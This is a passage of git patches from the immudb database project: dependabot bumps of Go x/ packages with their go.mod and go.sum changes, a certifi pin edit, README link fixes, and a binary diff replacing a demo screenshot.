h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= @@ -2066,12 +2273,17 @@ lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.37.0/go.mod h1:vtL+3mdHx/wcj3iEGz84rQa8vEqR6XM84v5Lcvfph20= +modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= +modernc.org/ccgo/v3 v3.0.0-20220904174949-82d86e1b6d56/go.mod h1:YSXjPL62P2AMSxBphRHPn7IkzhVHqkvOnRKAKh+W6ZI= modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= +modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g= +modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= @@ -2081,19 +2293,31 @@ modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= +modernc.org/libc v1.17.4/go.mod h1:WNg2ZH56rDEwdropAJeZPQkXmDwh+JCA1s/htl6r2fA= +modernc.org/libc v1.18.0/go.mod h1:vj6zehR5bfc98ipowQOM2nIDUZnVew/wNC/2tOGS+q0= +modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0= +modernc.org/libc v1.21.4/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI= +modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.3.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= +modernc.org/sqlite v1.18.2/go.mod h1:kvrTLEWgxUcHa2GfHBQtanR1H9ht3hTJNtKpzH9k1u0= modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= +modernc.org/tcl v1.13.2/go.mod h1:7CLiGIPo1M8Rv1Mitpv5akc2+8fxUd2y2UzC/MfMzy0= modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= From 6d18951b81010e2937b3e0815383d8f87e9fc86d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 4 Sep 2023 18:16:15 +0000 Subject: [PATCH 0717/1062] chore(deps): bump golang.org/x/sys from 0.11.0 to 0.12.0 Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.11.0 to 0.12.0. - [Commits](https://github.com/golang/sys/compare/v0.11.0...v0.12.0) --- updated-dependencies: - dependency-name: golang.org/x/sys dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 271c21d33d..b5322b4422 100644 --- a/go.mod +++ b/go.mod @@ -35,7 +35,7 @@ require ( github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.12.0 golang.org/x/net v0.14.0 - golang.org/x/sys v0.11.0 + golang.org/x/sys v0.12.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d google.golang.org/grpc v1.57.0 diff --git a/go.sum b/go.sum index 41b8bf32c2..ea75bfc0ac 100644 --- a/go.sum +++ b/go.sum @@ -1798,8 +1798,9 @@ golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= From cfa7c09b9ce0cbcafa8f99836f02869b7efe202e Mon Sep 17 00:00:00 2001 From: chncaption <101684156+chncaption@users.noreply.github.com> Date: Sun, 6 Aug 2023 16:07:00 +0800 Subject: [PATCH 0718/1062] update certifi 2022.12.7 to 2022.12.07 --- test/e2e/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/e2e/requirements.txt b/test/e2e/requirements.txt index d5a0628449..4a39f0e116 100644 --- a/test/e2e/requirements.txt +++ b/test/e2e/requirements.txt @@ -1,4 +1,4 @@ -certifi==2022.12.7 +certifi==2022.12.07 influxdb-client==1.36.0 pkg-resources==0.0.0 python-dateutil==2.8.2 From 98f9c88c951fbbfc73561deaaf9ffb7237223610 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 5 Sep 2023 18:19:50 +0000 Subject: [PATCH 0719/1062] chore(deps): bump golang.org/x/crypto from 0.12.0 to 0.13.0 Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.12.0 to 0.13.0. - [Commits](https://github.com/golang/crypto/compare/v0.12.0...v0.13.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 6 +++--- go.sum | 9 ++++++--- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/go.mod b/go.mod index b5322b4422..de2b15ad33 100644 --- a/go.mod +++ b/go.mod @@ -33,7 +33,7 @@ require ( github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.12.0 + golang.org/x/crypto v0.13.0 golang.org/x/net v0.14.0 golang.org/x/sys v0.12.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated @@ -100,8 +100,8 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.9.0 // indirect - golang.org/x/term v0.11.0 // indirect - golang.org/x/text v0.12.0 // indirect + golang.org/x/term v0.12.0 // indirect + golang.org/x/text v0.13.0 // indirect golang.org/x/tools v0.7.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect diff --git a/go.sum b/go.sum index ea75bfc0ac..5ac4d20a75 100644 --- a/go.sum +++ b/go.sum @@ -1512,8 +1512,9 @@ golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0 golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= -golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= +golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck= +golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1812,8 +1813,9 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= -golang.org/x/term v0.11.0 h1:F9tnn/DA/Im8nCwm+fX+1/eBwi4qFjRT++MhtVC4ZX0= golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= +golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU= +golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1830,8 +1832,9 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc= golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From c059c932d31d11fb418ea51ebd4c2ee3ea715cc5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 5 Sep 2023 18:31:23 +0000 Subject: [PATCH 0720/1062] chore(deps): bump golang.org/x/net from 0.14.0 to 0.15.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.14.0 to 0.15.0. - [Commits](https://github.com/golang/net/compare/v0.14.0...v0.15.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index de2b15ad33..45da07609a 100644 --- a/go.mod +++ b/go.mod @@ -34,7 +34,7 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.13.0 - golang.org/x/net v0.14.0 + golang.org/x/net v0.15.0 golang.org/x/sys v0.12.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d diff --git a/go.sum b/go.sum index 5ac4d20a75..3922d88008 100644 --- a/go.sum +++ b/go.sum @@ -1643,8 +1643,9 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.14.0 h1:BONx9s002vGdD9umnlX1Po8vOZmrgH34qlHcD1MfK14= golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= +golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8= +golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= From 319a677c51ed31ffa6cdc80049201898fb36da54 Mon Sep 17 00:00:00 2001 From: Fernando Luz Date: Thu, 7 Sep 2023 21:50:18 +0100 Subject: [PATCH 0721/1062] docs(readme): Update broken links Signed-off-by: Fernando Luz --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 74df497e72..66f004b276 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md [![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) [![Discord](https://img.shields.io/discord/831257098368319569)](https://discord.gg/EWeCbkjZVu) -[![Immudb Careers](https://img.shields.io/badge/careers-We%20are%20hiring!-blue?style=flat)](https://www.codenotary.com/join) +[![Immudb Careers](https://img.shields.io/badge/careers-We%20are%20hiring!-blue?style=flat)](https://www.codenotary.com/job) [![Tweet about immudb!](https://img.shields.io/twitter/url/http/shields.io.svg?style=social&label=Tweet%20about%20immudb)](https://twitter.com/intent/tweet?text=immudb:%20lightweight,%20high-speed%20immutable%20database!&url=https://github.com/codenotary/immudb) [![Artifact Hub](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/codenotary)](https://artifacthub.io/packages/search?repo=codenotary) @@ -249,11 +249,11 @@ We have SDKs available for the following programming languages: 1. Java [immudb4j](https://github.com/codenotary/immudb4j) 2. Golang ([golang sdk](https://pkg.go.dev/github.com/codenotary/immudb/pkg/client), [Gorm adapter](https://github.com/codenotary/immugorm)) -3. .net [immudb4dotnet](https://github.com/codenotary/immudb4dotnet) +3. .net [immudb4net](https://github.com/codenotary/immudb4net) 4. Python [immudb-py](https://github.com/codenotary/immudb-py) 5. Node.js [immudb-node](https://github.com/codenotary/immudb-node) -To get started with development, there is a [quickstart in our documentation](https://docs.immudb.io/master/jumpstart.html): or pick a basic running sample from [immudb-client-examples](https://github.com/codenotary/immudb-client-examples). +To get started with development, there is a [quickstart in our documentation](https://docs.immudb.io/master/immudb.html): or pick a basic running sample from [immudb-client-examples](https://github.com/codenotary/immudb-client-examples). Our [immudb Playground](https://play.codenotary.com) provides a guided environment to learn the Python SDK. From 1d2939363e3a0d3ee3fe103fd4f1b49cc3719427 Mon Sep 17 00:00:00 2001 From: Fernando Luz Date: Thu, 7 Sep 2023 21:51:32 +0100 Subject: [PATCH 0722/1062] docs(readme): Update demo.immudb.io image used in readme Signed-off-by: Fernando Luz --- img/demoimmudb.png | Bin 88612 -> 296153 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/img/demoimmudb.png b/img/demoimmudb.png index 236b6a6dfac95bd0cc6784af11299ceb4321a9d4..831133b2e9b7d92ef7c87816787f500d8da7cac2 100644 GIT binary patch literal 296153 zcmeFYWl&t()-K$*y9Rd)?h@RCySux)2X_((BuKE}PH=a3cLD@=cepF(>{H)+s^0xo zW&gWX_g8myb+2A)&N0S(WQ<5fc}XOAJa`ZYgd{B`rVIih2!TLQNwCnsC(7&LkiZL= zi?XB$sCpoy6Ixx6GNYcpGXK}Dx&qC*pHux@E?w;oQ}2p7=Q3O z*!Ob(=H%|-;X#T^lM?~{o`!IWzI}e=pz9L?J?z7XVAqL9+xa(P_eBeVT;&#{Q&Y!W z5EP9N7`$R2IA+!#zEy;TRK*Qs1ec6d`TmDL{r~<^3=BHUi|n8L{lBjvE)fW}N9Iz< zt@Mwc;a?X4v-}3}$4~#CM-cjmW(aB;AfS^^`tv3H>mr7r)ZKr)f;5Vzkia&uhDTxK z{o{+^2JZ0u=ZXIOBA9Q0U5p;d-V~$##}@&@0Qvug!T+UU(1C+dSw~M5_smIh7CjmS zp%Mr#E(0WHj#~@2&Yve{hX!Q_=t{$lyAc;2GXexL0o64k{7=f%fK(um+&Gw7Lh?|! zfn!Cu%fOxeajIvr1L6HyVla;8Y!sFm^gK#n&G-+JUGeUBp8EEOu;mCD;Q&RWl9+TX z{?Bjc3=09c2`pk=##r!siVl#gKxg$oSY!}XHE#%N_9v|?)F8COpO@HLQZv-c!3`mCRZm0p^*G8$rWrUpXtWTgQIs?98@f)2#+ByzHnBcRPy z9P3=CPGhEpsGW+pd5#nv^I^UjbO#Md&diO81}tA@0*OFDQ8pO4AODv$yzZtD9$Oi$ zsC5J#U0-lt2=I-K?{V=~@sXR${5*_Pb|{(`|@+ENALD{nPDQuM=ui zPG;t0O(31AI05nN5sFEOcMo2N9-UVX#CvXUY0y++!U-W@U`0tM)7gh7VVkZ z<4hFmyUi4-gAJm?VcQAN97=pO`Q>iEayks;(DU{Y4=YquvCu~(Aq0)*8aq{l;r#fJ zuT|N5r~6ys?eoW-ktH6N+n!f<<)l=vPy9pLDX5Pq$k82lUN%lAb!?v!6EDqV-QWLN zO~K?3BKD~fcVaVXL4ohA%f;EoHZ(Ire(Qp9esblo29*`%XI0gZJ3XCZ%twl1W}+qg z#Kp_0jz|;$i;R(p@gWD>yl-3^nef#D#Lvty&C1C%Rz`7mJroV?UT=4bS(ifm35K-0 z^S?tSq{j?<5R)>q6Ri0YC%7Y$qS`swP`Y34_1YxWRilb7usEHcot=wHd4Ath8Eb-c zb*n`?BgGwGZ;|0DRlKT}l}5nD-zR6MM`vnTi}Z7Rs|$`Ogj2rNxu}>$1B*Eba(x|R zICsgEFVq}Ue==*lp3q8f^CmvgKTY_OMB#$tACywfEctAWyvg)Hj^jYjuT&Vone%7ZuFXEE6nui= zP+fHO068K$TGG@NaYQZ#6&3fxaX(`YP$MkW>*-Wg)l>pMB|5DRVtHgXbZ5KLy4tNu z`P!crm7JZwlK3;27QffR7B!T@ts@XXQB%XZvR#EVv-{plBC+s9V^3&(rfd=4`iK7u71J5z^Hm&po9z!E8y!efp!gzi>q7N zQux;1x2S^x>_&Eu`}oahPn|&9XHjLL|zIDksHcW~>$V}b{fVFi}&8;0+b!{kUG51pYP zc5b+ERa)<|gosNF(u9_H7pE`oLc>w;HJ6h(K=79rIB_r}QK4K_el#ar3+P zV--+OOigrr5njzIE{;k=(RF&9bg6OBg_)&G2GXN*mNHZ06f1IJin>+VYL zLE5mG&0e0}JyOIsz(Lj6+|=IpH4SBoP?L0?a-_5Fd!8oP!_;v&EMhdO=!zCpmY_s` z#D)zU2KjU9D$@(z}}jg;*Ta2j!RK z3-eo#_n;cPz8LIkX}YRk=Ydb))lp59njmrTx%8y%3z1)k!ia~*v*ii3!BR+3Od!Sy zf3iT`ByJJ^;9=PolejD&EerC#P?VI#U6Rz@9m~aG_BxkXJjM^{4>8z7phoPz)zgj) zvM|E1M{_#qgCOAbA=JnqBIgtkCZ)EMLt?McL26y*5M9o9%PPyGJ)wroxy@{fl8%1C z2$1$)o0*-dG#z5vn{Uj!oA@*eQ|Y+nAKGV3{%1Jj=OKn7JIL?ig0P|0|1CIdFR>kc zbfke`z%ltwhV6Sy$#!{$p8mLR?U5-0{(DQ+U<60DX96^;h!^UW43YMBc+qw*%K><3 zN|Sfb;Y5lmD&5@{6^4#Ka<=&Ame0q&KA+8I&EUNoH7M^$6YOjKY}NRl^Gr^LRiIIXw63eo++H z*3pq+?9pxh#NTG4s&XV#=+B_qc`{$cV_QmZid7Z5tE};P&GoEQmt~~l6p>#0?E^ZP zWvl*d)>22ErLa>S=G_PIPt9w0o_m8h=|N8up#mT~8#RIwi#UmlVq{0Zb3Bz4+b(hs z1+BYArPwH3jx4^^nIbai&zWt$!5RHbUE4)4?|h$73Gq{?Z2@SM^rKGXxcCNlp_ZdK ziHRJ##DPb!H&w6SaeDjfLVId4U5LT=00n}m_uKEcf=c-Mo@$}>+fFap1w8WqtOiDX z3nT;Et06Ts`h0L;U1)BAr`|i7T~UI>z#ymjB`pF}P_fdjqHvnj;o{6XcO(!;Ra>0p zEzYM!(iGB23+?8>aI$rbA2?8mdu}7@r?-$)gW9g&ybH-bGkZx8xaR$<1y=%_v)_GG zv2RJ4Gd?Cx+a7$PSwXiCsOQEW!OgW{W-Kb6t(W~TKe&4OkIH1SB%AX$=S6hZQ9AGJ z6g@1hts}tpZiA+Z^F%_A-rr1h9KNv4e>tWT6I6#H4CKU}0~M0AE(GF3(Ih|w;RHpj zcyht;{W6#qAq=!vE@4$4B|wTc&R=l;N&li$$7(EQ7 zGkepHc*=hCK(+TwAY-CIo$|c5H&Vuf*`!w;sNvCap&eJ5xzI+6@pZ7Uh<#rgOUy|3 zpZH>qzWx!a!=#Y~Zv@cIVr~$S)M`ngj#uFc%q-oi7bao4#pu2>LlT_&+M z8et!^1?;&SH^;Vi3w7t9GqgDdK8eCIBKV=W9Ff!w+d=Jh;Ra$m8j|4_)YUn;Sh^Himm+Om2?DX(PF7mlG)EV>NEERX)+$fgyU21An!syNquj60 z-do^c;KPtZv{tZ!7*qpa{2Wm%Eep3k*AtJeJImL0}n41vUH|@ z5FA#HTTQK@ZC3mgWpu7K6yHqQNg#T!Ea^vz?*3PP-EZE8)17RdXY`a23`f)i!+%;6>X%5DH<#?PWWIv(y#IniuGa{P4lWL=J{$B78PwCwDxPZUecuN8jvxPk}eAjFKZg@ezK}$R3czYb})zK)nVcM zBlTHm5@$dT)btm4(Dl{TeHTJE+9v_c8uJ&LIrkx5XZJSLu(Yy{S~qCE#l6)v7+6xL zSAo}Sv!Qqt;N(PJTGHOU)jxfzdOeC|LJwrLH%IK0SfD_M({J+%-_kgt;|DQdb`wnf zDAR<}zKV$t&u`)dur3+~Ms)3?{2q`t5)R2C9-y@)eQYffzMqDmGjY$2q- zSWnlmfh$!g9cVR2UhPO<0Aj7}bh2>WK}ueJ47-110hJG1UgDSztEX<)f!E~M5mv+# zZsKtpkCkCzMfCNL0LhXtj^5Su%(jlKK?F1c?2mR_B3K8_kLuZ~k;b^p_C)2}{Dbbq zf3|KQsHpPaq1$C03O|Ts%`GG+C)d*boDptcs4)tbnu_On{=g8Y*G4Y7KT}FXm%_y0 z-|l}(8zSkK1o2jH3cL(&Ca|%JG%E+36!Lg~EB?|$w})=pAP2mLxzjz?raQZoqo#&^ zV`Dq|H$4H?FUG{UFrG8kx~p#pytuenN>(;xJ=`$8c|T?%qA%pz&g8WEjVC^8q2jg$0MKNg2GJmz>x0_j 